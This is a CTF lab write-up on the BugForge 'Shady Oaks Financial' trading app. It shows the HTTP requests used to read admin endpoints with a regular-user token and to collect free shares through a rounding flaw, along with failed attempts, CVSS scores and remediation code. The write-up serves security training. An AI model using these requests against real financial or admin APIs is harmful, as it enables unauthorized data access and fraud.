Security Labs

CTF and security lab write-ups

← Back

BugForge - Shady Oaks Financial Lab Writeup

Date: 2026-03-19 Difficulty: Easy Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. Broken Access Control on all admin API endpoints (CWE-862) β€” no role check enforced server-side
  2. Rounding exploit in stock trading (CWE-682) β€” fractional share purchases round to zero cost, enabling free share accumulation

Business Impact: An attacker can access all admin functionality including user data, transaction history, and system statistics. Additionally, the rounding exploit allows money generation from nothing on low-priced stocks, potentially draining platform funds.


Objective

Find and exploit vulnerabilities in the Shady Oaks Financial stock trading web application.

Initial Access

# Target Application
URL: https://lab-1773951285118-jdyd1f.labs-app.bugforge.io

# Auth details
POST /api/register with {username, email, password}
Returns JWT HS256 Bearer token
Registered as: haxor (id:4, role: user)

Key Findings

Critical & High-Risk Vulnerabilities

  1. Broken Access Control on Admin Endpoints (CWE-862: Missing Authorization) β€” All /api/admin/* endpoints (flag, stats, users, transactions, stocks) are accessible to any authenticated user regardless of role. The server validates the JWT but never checks the role field. A regular user can access the flag, view all users, and read all transactions.

  2. Rounding Exploit in Stock Trading (CWE-682: Incorrect Calculation) β€” The POST /api/trade endpoint does not enforce a minimum transaction cost. Buying 0.001 shares of a cheap stock (e.g., PONZI at ~3.70 EUR) produces a cost of 0.0037 EUR, which rounds to 0.00. Shares are credited despite zero cost, allowing unlimited free share accumulation and eventual sale for profit.

CVSS v3.1 Score for Broken Access Control: 9.8 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High

CVSS v3.1 Score for Rounding Exploit: 6.5 (Medium)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality None
Integrity High
Availability None

Enumeration Summary

Application Analysis

Tech Stack:

Target Endpoints Discovered:

Endpoint Method Auth Notes
/api/register POST No Returns JWT + user object
/api/login POST No Standard login
/api/verify-token GET Yes Token validation
/api/profile PUT Yes Whitelisted fields only
/api/portfolio GET Yes User’s stock holdings
/api/transactions GET Yes User’s transaction history
/api/stocks GET Yes Stock listings
/api/trade POST Yes Buy/sell stocks
/api/convert-currency POST Yes Currency conversion
/api/admin/flag GET Yes No role check β€” VULN
/api/admin/stats GET Yes No role check β€” VULN
/api/admin/users GET Yes No role check β€” VULN
/api/admin/transactions GET Yes No role check β€” VULN
/api/admin/stocks GET Yes No role check β€” VULN

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Register    │───▢│  Map API Surface │───▢│  Extract Admin      β”‚
β”‚  Account     β”‚    β”‚  (Caido + JS     β”‚    β”‚  Routes from JS     β”‚
β”‚  (id:4)      β”‚    β”‚   bundle)        β”‚    β”‚  Bundle             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                      β”‚
                                                      β–Ό
                                           β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                           β”‚  GET /api/admin/flag β”‚
                                           β”‚  with regular user   β”‚
                                           β”‚  JWT β†’ 200 OK        β”‚
                                           β”‚  FLAG RETURNED       β”‚
                                           β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ Secondary Finding ───────────────────┐
            β”‚                                                         β”‚
            β–Ό                                                         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Buy 0.001 shares   │───▢│  Cost rounds to  │───▢│  Sell accumulated   β”‚
β”‚  of PONZI (~3.70)   β”‚    β”‚  0.00 β€” shares   β”‚    β”‚  shares for profit  β”‚
β”‚  ~70 times          β”‚    β”‚  credited free   β”‚    β”‚  +11.19 EUR         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Register account and authenticate via JWT
  2. Map all API endpoints through Caido HTTP proxy
  3. Extract admin routes from React JS bundle (main.js)
  4. Access /api/admin/flag with regular user JWT β€” 200 OK, flag returned
  5. Discover rounding exploit: buy 0.001 shares at zero cost, accumulate, sell for profit

Exploitation Path

Step 1: Reconnaissance β€” Registration and API Enumeration

Registered an account and explored the application through Caido, capturing all HTTP requests. The app is a stock trading platform with support for buying/selling stocks, currency conversion, and portfolio management.

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "haxor",
  "email": "haxor@test.com",
  "password": "password123"
}

Response returned a JWT with payload {"id":4,"username":"haxor","role":"user","iat":...}. The role field in the JWT and the existence of user IDs 1-3 indicated an admin role likely exists.

Step 2: JavaScript Bundle Analysis β€” Admin Route Discovery

Extracted API routes from developer tools Debugger. Found references to admin endpoints not exposed in the regular UI:

Step 3: Broken Access Control β€” Admin Endpoints Accessible as Regular User

Tested the admin flag endpoint using the regular user JWT:

GET /api/admin/flag HTTP/1.1
Authorization: Bearer <haxor_jwt_with_role_user>

Response: 200 OK

{"flag":"bug{vjsRfxts5fAaDF1hkkZmhzd8NpW74xCT}"}

No role check performed. Also confirmed /api/admin/stats returns full system statistics (4 users, all stock data, total cash) with the same regular user token.

Step 4: Rounding Exploit β€” Free Share Accumulation

Discovered that buying very small fractional shares of cheap stocks results in zero cost:

POST /api/trade HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{"stock_id":3,"shares":0.001,"action":"buy"}

Response:

{"total_cost":"0.00","new_balance":"987.52","shares":"0.0010"}

The cost of 0.001 shares of PONZI (~3.70 EUR/share) is 0.0037 EUR, which rounds to 0.00. Shares are credited despite zero cost.

Repeated ~70 times β€” balance remained at 987.52 throughout. Accumulated shares from 3.001 to 3.07.

Step 5: Profit Realization β€” Selling Free Shares

Sold 3 shares of the accumulated PONZI stock:

POST /api/trade HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{"stock_id":3,"shares":3,"action":"sell"}

Balance increased from 987.52 to 998.71 β€” a profit of 11.19 EUR generated from nothing.

Scope note: This exploit is price-dependent. It works on stocks where price * 0.001 < 0.005 (rounds to 0.00). On expensive stocks like 404EX at 116.23/share, 0.001 shares costs 0.12 β€” correctly rounded up and charged.


Flag / Objective Achieved

βœ… bug{vjsRfxts5fAaDF1hkkZmhzd8NpW74xCT} β€” Retrieved via broken access control on /api/admin/flag


Key Learnings


Tools Used


Remediation

1. Missing Authorization on Admin Endpoints (CVSS: 9.8 - Critical)

Issue: All /api/admin/* endpoints are accessible to any authenticated user. The server validates the JWT but does not check the role field before processing admin requests.

CWE Reference: CWE-862 β€” Missing Authorization

Fix:

// BEFORE (Vulnerable)
router.get('/admin/flag', authMiddleware, (req, res) => {
  res.json({ flag: process.env.FLAG });
});

// AFTER (Secure)
const requireAdmin = (req, res, next) => {
  if (req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Admin access required' });
  }
  next();
};

// Apply to all admin routes
router.use('/admin', authMiddleware, requireAdmin);

router.get('/admin/flag', (req, res) => {
  res.json({ flag: process.env.FLAG });
});

2. Rounding Exploit in Stock Trading (CVSS: 6.5 - Medium)

Issue: The trading endpoint does not enforce a minimum transaction cost. When the calculated cost rounds to 0.00, shares are still credited, allowing unlimited free accumulation.

CWE Reference: CWE-682 β€” Incorrect Calculation

Fix:

// BEFORE (Vulnerable)
const totalCost = (shares * price).toFixed(2);
// totalCost can be "0.00" but shares still credited

// AFTER (Secure)
const Decimal = require('decimal.js');
const preciseCost = new Decimal(shares).times(new Decimal(price));
const MIN_TRANSACTION = new Decimal('0.01');

if (preciseCost.lt(MIN_TRANSACTION)) {
  return res.status(400).json({
    error: 'Minimum transaction amount is 0.01 EUR'
  });
}

Failed Attempts

Approach 1: Mass Assignment on Profile Update

PUT /api/profile HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json

{"full_name":"test","email":"test@test.com","role":"admin","balance_eur":999999}

Result: Failed - Server whitelists fields, only full_name and email accepted. Extra fields silently dropped.

Approach 2: Negative Values on Trade Endpoint

POST /api/trade HTTP/1.1
Content-Type: application/json

{"stock_id":3,"shares":-1,"action":"buy"}

Result: Failed - Server validates that amounts must be positive (400 response).

Approach 3: Negative Values on Currency Conversion

POST /api/convert-currency HTTP/1.1
Content-Type: application/json

{"from_currency":"EUR","to_currency":"GBP","amount":-100}

Result: Failed - Server validates that amounts must be positive (400 response).

Approach 4: Same-Currency Conversion

POST /api/convert-currency HTTP/1.1
Content-Type: application/json

{"from_currency":"EUR","to_currency":"EUR","amount":100}

Result: Failed - Server correctly rejects with β€œCannot convert currency to itself”.


OWASP Top 10 Coverage


References

Access Control Resources:

Financial Logic Resources:


Tags: #broken-access-control #missing-authorization #rounding-exploit #financial-logic #bugforge #webapp